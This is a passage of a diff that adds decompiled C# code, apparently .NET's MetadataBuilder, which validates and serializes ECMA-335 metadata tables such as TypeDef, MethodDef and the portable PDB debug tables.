(_localScopeTable.Count == 0) + { + return; + } + LocalScopeRow localScopeRow = _localScopeTable[0]; + int num = 1; + while (num < _localScopeTable.Count) + { + LocalScopeRow localScopeRow2 = _localScopeTable[num]; + if (localScopeRow2.Method <= localScopeRow.Method && (localScopeRow2.Method != localScopeRow.Method || (localScopeRow2.StartOffset <= localScopeRow.StartOffset && (localScopeRow2.StartOffset != localScopeRow.StartOffset || localScopeRow.Length < localScopeRow2.Length)))) + { + Throw.InvalidOperation_TableNotSorted(TableIndex.LocalScope); + } + num++; + localScopeRow = localScopeRow2; + } + } + + private void ValidateStateMachineMethodTable() + { + for (int i = 1; i < _stateMachineMethodTable.Count; i++) + { + if (_stateMachineMethodTable[i - 1].MoveNextMethod >= _stateMachineMethodTable[i].MoveNextMethod) + { + Throw.InvalidOperation_TableNotSorted(TableIndex.StateMachineMethod); + } + } + } + + internal void SerializeMetadataTables(BlobBuilder writer, MetadataSizes metadataSizes, ImmutableArray stringMap, int methodBodyStreamRva, int mappedFieldDataStreamRva) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_013d: Unknown result type (might be due to invalid IL or missing references) + //IL_0162: Unknown result type (might be due to invalid IL or missing references) + //IL_0199: Unknown result type (might be due to invalid IL or missing references) + //IL_01be: Unknown result type (might be due to invalid IL or missing references) + //IL_0207: Unknown result type (might be due to invalid IL or missing references) + //IL_021a: Unknown result type (might be due to invalid IL or missing references) + //IL_022d: Unknown result type (might be due to invalid IL or missing references) + //IL_0240: Unknown result type (might be due to invalid IL or missing references) + //IL_0253: Unknown result type (might be due to invalid IL or missing references) + //IL_0278: Unknown result type (might be due to invalid IL or missing references) + //IL_02e5: Unknown result type (might be due to invalid IL or missing references) + //IL_02f8: Unknown result type (might be due to invalid IL or missing references) + int count = writer.Count; + SerializeTablesHeader(writer, metadataSizes); + if (metadataSizes.IsPresent(TableIndex.Module)) + { + SerializeModuleTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.TypeRef)) + { + SerializeTypeRefTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.TypeDef)) + { + SerializeTypeDefTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.Field)) + { + SerializeFieldTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.MethodDef)) + { + SerializeMethodDefTable(writer, stringMap, metadataSizes, methodBodyStreamRva); + } + if (metadataSizes.IsPresent(TableIndex.Param)) + { + SerializeParamTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.InterfaceImpl)) + { + SerializeInterfaceImplTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.MemberRef)) + { + SerializeMemberRefTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.Constant)) + { + SerializeConstantTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.CustomAttribute)) + { + SerializeCustomAttributeTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.FieldMarshal)) + { + SerializeFieldMarshalTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.DeclSecurity)) + { + SerializeDeclSecurityTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.ClassLayout)) + { + SerializeClassLayoutTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.FieldLayout)) + { + SerializeFieldLayoutTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.StandAloneSig)) + { + SerializeStandAloneSigTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.EventMap)) + { + SerializeEventMapTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.Event)) + { + SerializeEventTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.PropertyMap)) + { + SerializePropertyMapTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.Property)) + { + SerializePropertyTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.MethodSemantics)) + { + SerializeMethodSemanticsTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.MethodImpl)) + { + SerializeMethodImplTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.ModuleRef)) + { + SerializeModuleRefTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.TypeSpec)) + { + SerializeTypeSpecTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.ImplMap)) + { + SerializeImplMapTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.FieldRva)) + { + SerializeFieldRvaTable(writer, metadataSizes, mappedFieldDataStreamRva); + } + if (metadataSizes.IsPresent(TableIndex.EncLog)) + { + SerializeEncLogTable(writer); + } + if (metadataSizes.IsPresent(TableIndex.EncMap)) + { + SerializeEncMapTable(writer); + } + if (metadataSizes.IsPresent(TableIndex.Assembly)) + { + SerializeAssemblyTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.AssemblyRef)) + { + SerializeAssemblyRefTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.File)) + { + SerializeFileTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.ExportedType)) + { + SerializeExportedTypeTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.ManifestResource)) + { + SerializeManifestResourceTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.NestedClass)) + { + SerializeNestedClassTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.GenericParam)) + { + SerializeGenericParamTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.MethodSpec)) + { + SerializeMethodSpecTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.GenericParamConstraint)) + { + SerializeGenericParamConstraintTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.Document)) + { + SerializeDocumentTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.MethodDebugInformation)) + { + SerializeMethodDebugInformationTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.LocalScope)) + { + SerializeLocalScopeTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.LocalVariable)) + { + SerializeLocalVariableTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.LocalConstant)) + { + SerializeLocalConstantTable(writer, stringMap, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.ImportScope)) + { + SerializeImportScopeTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.StateMachineMethod)) + { + SerializeStateMachineMethodTable(writer, metadataSizes); + } + if (metadataSizes.IsPresent(TableIndex.CustomDebugInformation)) + { + SerializeCustomDebugInformationTable(writer, metadataSizes); + } + writer.WriteByte(0); + writer.Align(4); + int count2 = writer.Count; + } + + private static void SerializeTablesHeader(BlobBuilder writer, MetadataSizes metadataSizes) + { + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + int count = writer.Count; + HeapSizeFlag heapSizeFlag = (HeapSizeFlag)0; + if (!metadataSizes.StringReferenceIsSmall) + { + heapSizeFlag |= HeapSizeFlag.StringHeapLarge; + } + if (!metadataSizes.GuidReferenceIsSmall) + { + heapSizeFlag |= HeapSizeFlag.GuidHeapLarge; + } + if (!metadataSizes.BlobReferenceIsSmall) + { + heapSizeFlag |= HeapSizeFlag.BlobHeapLarge; + } + if (metadataSizes.IsEncDelta) + { + heapSizeFlag |= (HeapSizeFlag)160; + } + ulong num = metadataSizes.PresentTablesMask & 0xC4000000000000L; + ulong value = num | (ulong)(metadataSizes.IsStandaloneDebugMetadata ? 0 : 24190111578624L); + writer.WriteUInt32(0u); + writer.WriteByte(2); + writer.WriteByte(0); + writer.WriteByte((byte)heapSizeFlag); + writer.WriteByte(1); + writer.WriteUInt64(metadataSizes.PresentTablesMask); + writer.WriteUInt64(value); + MetadataWriterUtilities.SerializeRowCounts(writer, metadataSizes.RowCounts); + int count2 = writer.Count; + } + + internal void SerializeModuleTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + if (_moduleRow.HasValue) + { + writer.WriteUInt16(_moduleRow.Value.Generation); + writer.WriteReference(SerializeHandle(stringMap, _moduleRow.Value.Name), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(SerializeHandle(_moduleRow.Value.ModuleVersionId), metadataSizes.GuidReferenceIsSmall); + writer.WriteReference(SerializeHandle(_moduleRow.Value.EncId), metadataSizes.GuidReferenceIsSmall); + writer.WriteReference(SerializeHandle(_moduleRow.Value.EncBaseId), metadataSizes.GuidReferenceIsSmall); + } + } + + private void SerializeEncLogTable(BlobBuilder writer) + { + foreach (EncLogRow item in _encLogTable) + { + writer.WriteInt32(item.Token); + writer.WriteUInt32(item.FuncCode); + } + } + + private void SerializeEncMapTable(BlobBuilder writer) + { + foreach (EncMapRow item in _encMapTable) + { + writer.WriteInt32(item.Token); + } + } + + private void SerializeTypeRefTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + foreach (TypeRefRow item in _typeRefTable) + { + writer.WriteReference(item.ResolutionScope, metadataSizes.ResolutionScopeCodedIndexIsSmall); + writer.WriteReference(SerializeHandle(stringMap, item.Name), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(SerializeHandle(stringMap, item.Namespace), metadataSizes.StringReferenceIsSmall); + } + } + + private void SerializeTypeDefTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + foreach (TypeDefRow item in _typeDefTable) + { + writer.WriteUInt32(item.Flags); + writer.WriteReference(SerializeHandle(stringMap, item.Name), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(SerializeHandle(stringMap, item.Namespace), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(item.Extends, metadataSizes.TypeDefOrRefCodedIndexIsSmall); + writer.WriteReference(item.FieldList, metadataSizes.FieldDefReferenceIsSmall); + writer.WriteReference(item.MethodList, metadataSizes.MethodDefReferenceIsSmall); + } + } + + private void SerializeFieldTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + foreach (FieldDefRow item in _fieldTable) + { + writer.WriteUInt16(item.Flags); + writer.WriteReference(SerializeHandle(stringMap, item.Name), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(SerializeHandle(item.Signature), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeMethodDefTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes, int methodBodyStreamRva) + { + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + foreach (MethodRow item in _methodDefTable) + { + if (item.BodyOffset == -1) + { + writer.WriteUInt32(0u); + } + else + { + writer.WriteInt32(methodBodyStreamRva + item.BodyOffset); + } + writer.WriteUInt16(item.ImplFlags); + writer.WriteUInt16(item.Flags); + writer.WriteReference(SerializeHandle(stringMap, item.Name), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(SerializeHandle(item.Signature), metadataSizes.BlobReferenceIsSmall); + writer.WriteReference(item.ParamList, metadataSizes.ParameterReferenceIsSmall); + } + } + + private void SerializeParamTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + foreach (ParamRow item in _paramTable) + { + writer.WriteUInt16(item.Flags); + writer.WriteUInt16(item.Sequence); + writer.WriteReference(SerializeHandle(stringMap, item.Name), metadataSizes.StringReferenceIsSmall); + } + } + + private void SerializeInterfaceImplTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (InterfaceImplRow item in _interfaceImplTable) + { + writer.WriteReference(item.Class, metadataSizes.TypeDefReferenceIsSmall); + writer.WriteReference(item.Interface, metadataSizes.TypeDefOrRefCodedIndexIsSmall); + } + } + + private void SerializeMemberRefTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + foreach (MemberRefRow item in _memberRefTable) + { + writer.WriteReference(item.Class, metadataSizes.MemberRefParentCodedIndexIsSmall); + writer.WriteReference(SerializeHandle(stringMap, item.Name), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(SerializeHandle(item.Signature), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeConstantTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + IEnumerable enumerable; + if (!_constantTableNeedsSorting) + { + IEnumerable constantTable = _constantTable; + enumerable = constantTable; + } + else + { + enumerable = _constantTable.OrderBy((ConstantRow x, ConstantRow y) => x.Parent - y.Parent); + } + IEnumerable enumerable2 = enumerable; + foreach (ConstantRow item in enumerable2) + { + writer.WriteByte(item.Type); + writer.WriteByte(0); + writer.WriteReference(item.Parent, metadataSizes.HasConstantCodedIndexIsSmall); + writer.WriteReference(SerializeHandle(item.Value), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeCustomAttributeTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + IEnumerable enumerable; + if (!_customAttributeTableNeedsSorting) + { + IEnumerable customAttributeTable = _customAttributeTable; + enumerable = customAttributeTable; + } + else + { + enumerable = _customAttributeTable.OrderBy((CustomAttributeRow x, CustomAttributeRow y) => x.Parent - y.Parent); + } + IEnumerable enumerable2 = enumerable; + foreach (CustomAttributeRow item in enumerable2) + { + writer.WriteReference(item.Parent, metadataSizes.HasCustomAttributeCodedIndexIsSmall); + writer.WriteReference(item.Type, metadataSizes.CustomAttributeTypeCodedIndexIsSmall); + writer.WriteReference(SerializeHandle(item.Value), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeFieldMarshalTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + IEnumerable enumerable; + if (!_fieldMarshalTableNeedsSorting) + { + IEnumerable fieldMarshalTable = _fieldMarshalTable; + enumerable = fieldMarshalTable; + } + else + { + enumerable = _fieldMarshalTable.OrderBy((FieldMarshalRow x, FieldMarshalRow y) => x.Parent - y.Parent); + } + IEnumerable enumerable2 = enumerable; + foreach (FieldMarshalRow item in enumerable2) + { + writer.WriteReference(item.Parent, metadataSizes.HasFieldMarshalCodedIndexIsSmall); + writer.WriteReference(SerializeHandle(item.NativeType), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeDeclSecurityTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + IEnumerable enumerable; + if (!_declSecurityTableNeedsSorting) + { + IEnumerable declSecurityTable = _declSecurityTable; + enumerable = declSecurityTable; + } + else + { + enumerable = _declSecurityTable.OrderBy((DeclSecurityRow x, DeclSecurityRow y) => x.Parent - y.Parent); + } + IEnumerable enumerable2 = enumerable; + foreach (DeclSecurityRow item in enumerable2) + { + writer.WriteUInt16(item.Action); + writer.WriteReference(item.Parent, metadataSizes.DeclSecurityCodedIndexIsSmall); + writer.WriteReference(SerializeHandle(item.PermissionSet), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeClassLayoutTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (ClassLayoutRow item in _classLayoutTable) + { + writer.WriteUInt16(item.PackingSize); + writer.WriteUInt32(item.ClassSize); + writer.WriteReference(item.Parent, metadataSizes.TypeDefReferenceIsSmall); + } + } + + private void SerializeFieldLayoutTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (FieldLayoutRow item in _fieldLayoutTable) + { + writer.WriteInt32(item.Offset); + writer.WriteReference(item.Field, metadataSizes.FieldDefReferenceIsSmall); + } + } + + private void SerializeStandAloneSigTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (StandaloneSigRow item in _standAloneSigTable) + { + writer.WriteReference(SerializeHandle(item.Signature), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeEventMapTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (EventMapRow item in _eventMapTable) + { + writer.WriteReference(item.Parent, metadataSizes.TypeDefReferenceIsSmall); + writer.WriteReference(item.EventList, metadataSizes.EventDefReferenceIsSmall); + } + } + + private void SerializeEventTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + foreach (EventRow item in _eventTable) + { + writer.WriteUInt16(item.EventFlags); + writer.WriteReference(SerializeHandle(stringMap, item.Name), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(item.EventType, metadataSizes.TypeDefOrRefCodedIndexIsSmall); + } + } + + private void SerializePropertyMapTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (PropertyMapRow item in _propertyMapTable) + { + writer.WriteReference(item.Parent, metadataSizes.TypeDefReferenceIsSmall); + writer.WriteReference(item.PropertyList, metadataSizes.PropertyDefReferenceIsSmall); + } + } + + private void SerializePropertyTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + foreach (PropertyRow item in _propertyTable) + { + writer.WriteUInt16(item.PropFlags); + writer.WriteReference(SerializeHandle(stringMap, item.Name), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(SerializeHandle(item.Type), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeMethodSemanticsTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + IEnumerable enumerable; + if (!_methodSemanticsTableNeedsSorting) + { + IEnumerable methodSemanticsTable = _methodSemanticsTable; + enumerable = methodSemanticsTable; + } + else + { + enumerable = _methodSemanticsTable.OrderBy((MethodSemanticsRow x, MethodSemanticsRow y) => x.Association - y.Association); + } + IEnumerable enumerable2 = enumerable; + foreach (MethodSemanticsRow item in enumerable2) + { + writer.WriteUInt16(item.Semantic); + writer.WriteReference(item.Method, metadataSizes.MethodDefReferenceIsSmall); + writer.WriteReference(item.Association, metadataSizes.HasSemanticsCodedIndexIsSmall); + } + } + + private void SerializeMethodImplTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (MethodImplRow item in _methodImplTable) + { + writer.WriteReference(item.Class, metadataSizes.TypeDefReferenceIsSmall); + writer.WriteReference(item.MethodBody, metadataSizes.MethodDefOrRefCodedIndexIsSmall); + writer.WriteReference(item.MethodDecl, metadataSizes.MethodDefOrRefCodedIndexIsSmall); + } + } + + private void SerializeModuleRefTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + foreach (ModuleRefRow item in _moduleRefTable) + { + writer.WriteReference(SerializeHandle(stringMap, item.Name), metadataSizes.StringReferenceIsSmall); + } + } + + private void SerializeTypeSpecTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (TypeSpecRow item in _typeSpecTable) + { + writer.WriteReference(SerializeHandle(item.Signature), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeImplMapTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + foreach (ImplMapRow item in _implMapTable) + { + writer.WriteUInt16(item.MappingFlags); + writer.WriteReference(item.MemberForwarded, metadataSizes.MemberForwardedCodedIndexIsSmall); + writer.WriteReference(SerializeHandle(stringMap, item.ImportName), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(item.ImportScope, metadataSizes.ModuleRefReferenceIsSmall); + } + } + + private void SerializeFieldRvaTable(BlobBuilder writer, MetadataSizes metadataSizes, int mappedFieldDataStreamRva) + { + foreach (FieldRvaRow item in _fieldRvaTable) + { + writer.WriteInt32(mappedFieldDataStreamRva + item.Offset); + writer.WriteReference(item.Field, metadataSizes.FieldDefReferenceIsSmall); + } + } + + private void SerializeAssemblyTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + if (_assemblyRow.HasValue) + { + Version version = _assemblyRow.Value.Version; + writer.WriteUInt32(_assemblyRow.Value.HashAlgorithm); + writer.WriteUInt16((ushort)version.Major); + writer.WriteUInt16((ushort)version.Minor); + writer.WriteUInt16((ushort)version.Build); + writer.WriteUInt16((ushort)version.Revision); + writer.WriteUInt32(_assemblyRow.Value.Flags); + writer.WriteReference(SerializeHandle(_assemblyRow.Value.AssemblyKey), metadataSizes.BlobReferenceIsSmall); + writer.WriteReference(SerializeHandle(stringMap, _assemblyRow.Value.AssemblyName), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(SerializeHandle(stringMap, _assemblyRow.Value.AssemblyCulture), metadataSizes.StringReferenceIsSmall); + } + } + + private void SerializeAssemblyRefTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + foreach (AssemblyRefTableRow item in _assemblyRefTable) + { + writer.WriteUInt16((ushort)item.Version.Major); + writer.WriteUInt16((ushort)item.Version.Minor); + writer.WriteUInt16((ushort)item.Version.Build); + writer.WriteUInt16((ushort)item.Version.Revision); + writer.WriteUInt32(item.Flags); + writer.WriteReference(SerializeHandle(item.PublicKeyToken), metadataSizes.BlobReferenceIsSmall); + writer.WriteReference(SerializeHandle(stringMap, item.Name), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(SerializeHandle(stringMap, item.Culture), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(SerializeHandle(item.HashValue), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeFileTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + foreach (FileTableRow item in _fileTable) + { + writer.WriteUInt32(item.Flags); + writer.WriteReference(SerializeHandle(stringMap, item.FileName), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(SerializeHandle(item.HashValue), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeExportedTypeTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + foreach (ExportedTypeRow item in _exportedTypeTable) + { + writer.WriteUInt32(item.Flags); + writer.WriteInt32(item.TypeDefId); + writer.WriteReference(SerializeHandle(stringMap, item.TypeName), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(SerializeHandle(stringMap, item.TypeNamespace), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(item.Implementation, metadataSizes.ImplementationCodedIndexIsSmall); + } + } + + private void SerializeManifestResourceTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + foreach (ManifestResourceRow item in _manifestResourceTable) + { + writer.WriteUInt32(item.Offset); + writer.WriteUInt32(item.Flags); + writer.WriteReference(SerializeHandle(stringMap, item.Name), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(item.Implementation, metadataSizes.ImplementationCodedIndexIsSmall); + } + } + + private void SerializeNestedClassTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (NestedClassRow item in _nestedClassTable) + { + writer.WriteReference(item.NestedClass, metadataSizes.TypeDefReferenceIsSmall); + writer.WriteReference(item.EnclosingClass, metadataSizes.TypeDefReferenceIsSmall); + } + } + + private void SerializeGenericParamTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + foreach (GenericParamRow item in _genericParamTable) + { + writer.WriteUInt16(item.Number); + writer.WriteUInt16(item.Flags); + writer.WriteReference(item.Owner, metadataSizes.TypeOrMethodDefCodedIndexIsSmall); + writer.WriteReference(SerializeHandle(stringMap, item.Name), metadataSizes.StringReferenceIsSmall); + } + } + + private void SerializeGenericParamConstraintTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (GenericParamConstraintRow item in _genericParamConstraintTable) + { + writer.WriteReference(item.Owner, metadataSizes.GenericParamReferenceIsSmall); + writer.WriteReference(item.Constraint, metadataSizes.TypeDefOrRefCodedIndexIsSmall); + } + } + + private void SerializeMethodSpecTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (MethodSpecRow item in _methodSpecTable) + { + writer.WriteReference(item.Method, metadataSizes.MethodDefOrRefCodedIndexIsSmall); + writer.WriteReference(SerializeHandle(item.Instantiation), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeDocumentTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (DocumentRow item in _documentTable) + { + writer.WriteReference(SerializeHandle(item.Name), metadataSizes.BlobReferenceIsSmall); + writer.WriteReference(SerializeHandle(item.HashAlgorithm), metadataSizes.GuidReferenceIsSmall); + writer.WriteReference(SerializeHandle(item.Hash), metadataSizes.BlobReferenceIsSmall); + writer.WriteReference(SerializeHandle(item.Language), metadataSizes.GuidReferenceIsSmall); + } + } + + private void SerializeMethodDebugInformationTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (MethodDebugInformationRow item in _methodDebugInformationTable) + { + writer.WriteReference(item.Document, metadataSizes.DocumentReferenceIsSmall); + writer.WriteReference(SerializeHandle(item.SequencePoints), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeLocalScopeTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (LocalScopeRow item in _localScopeTable) + { + writer.WriteReference(item.Method, metadataSizes.MethodDefReferenceIsSmall); + writer.WriteReference(item.ImportScope, metadataSizes.ImportScopeReferenceIsSmall); + writer.WriteReference(item.VariableList, metadataSizes.LocalVariableReferenceIsSmall); + writer.WriteReference(item.ConstantList, metadataSizes.LocalConstantReferenceIsSmall); + writer.WriteInt32(item.StartOffset); + writer.WriteInt32(item.Length); + } + } + + private void SerializeLocalVariableTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + foreach (LocalVariableRow item in _localVariableTable) + { + writer.WriteUInt16(item.Attributes); + writer.WriteUInt16(item.Index); + writer.WriteReference(SerializeHandle(stringMap, item.Name), metadataSizes.StringReferenceIsSmall); + } + } + + private void SerializeLocalConstantTable(BlobBuilder writer, ImmutableArray stringMap, MetadataSizes metadataSizes) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + foreach (LocalConstantRow item in _localConstantTable) + { + writer.WriteReference(SerializeHandle(stringMap, item.Name), metadataSizes.StringReferenceIsSmall); + writer.WriteReference(SerializeHandle(item.Signature), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeImportScopeTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (ImportScopeRow item in _importScopeTable) + { + writer.WriteReference(item.Parent, metadataSizes.ImportScopeReferenceIsSmall); + writer.WriteReference(SerializeHandle(item.Imports), metadataSizes.BlobReferenceIsSmall); + } + } + + private void SerializeStateMachineMethodTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (StateMachineMethodRow item in _stateMachineMethodTable) + { + writer.WriteReference(item.MoveNextMethod, metadataSizes.MethodDefReferenceIsSmall); + writer.WriteReference(item.KickoffMethod, metadataSizes.MethodDefReferenceIsSmall); + } + } + + private void SerializeCustomDebugInformationTable(BlobBuilder writer, MetadataSizes metadataSizes) + { + foreach (CustomDebugInformationRow item in _customDebugInformationTable.OrderBy(delegate(CustomDebugInformationRow x, CustomDebugInformationRow y) + { + int num = x.Parent - y.Parent; + return (num == 0) ? (x.Kind.Index - y.Kind.Index) : num; + })) + { + writer.WriteReference(item.Parent, metadataSizes.HasCustomDebugInformationCodedIndexIsSmall); + writer.WriteReference(SerializeHandle(item.Kind), metadataSizes.GuidReferenceIsSmall); + writer.WriteReference(SerializeHandle(item.Value), metadataSizes.BlobReferenceIsSmall); + } + } + + public MetadataBuilder(int userStringHeapStartOffset = 0, int stringHeapStartOffset = 0, int blobHeapStartOffset = 0, int guidHeapStartOffset = 0) + { + //IL_02b8: Unknown result type (might be due to invalid IL or missing references) + if (userStringHeapStartOffset >= 16777215) + { + Throw.HeapSizeLimitExceeded(HeapIndex.UserString); + } + if (userStringHeapStartOffset < 0) + { + Throw.ArgumentOutOfRange("userStringHeapStartOffset"); + } + if (stringHeapStartOffset < 0) + { + Throw.ArgumentOutOfRange("stringHeapStartOffset"); + } + if (blobHeapStartOffset < 0) + { + Throw.ArgumentOutOfRange("blobHeapStartOffset"); + } + if (guidHeapStartOffset < 0) + { + Throw.ArgumentOutOfRange("guidHeapStartOffset"); + } + if (guidHeapStartOffset % 16 != 0) + { + throw new ArgumentException(System.SR.Format(System.SR.ValueMustBeMultiple, 16), "guidHeapStartOffset"); + } + _userStringBuilder.WriteByte(0); + _blobs.Add(ImmutableArray.Empty, default(BlobHandle)); + _blobHeapSize = 1; + _userStringHeapStartOffset = 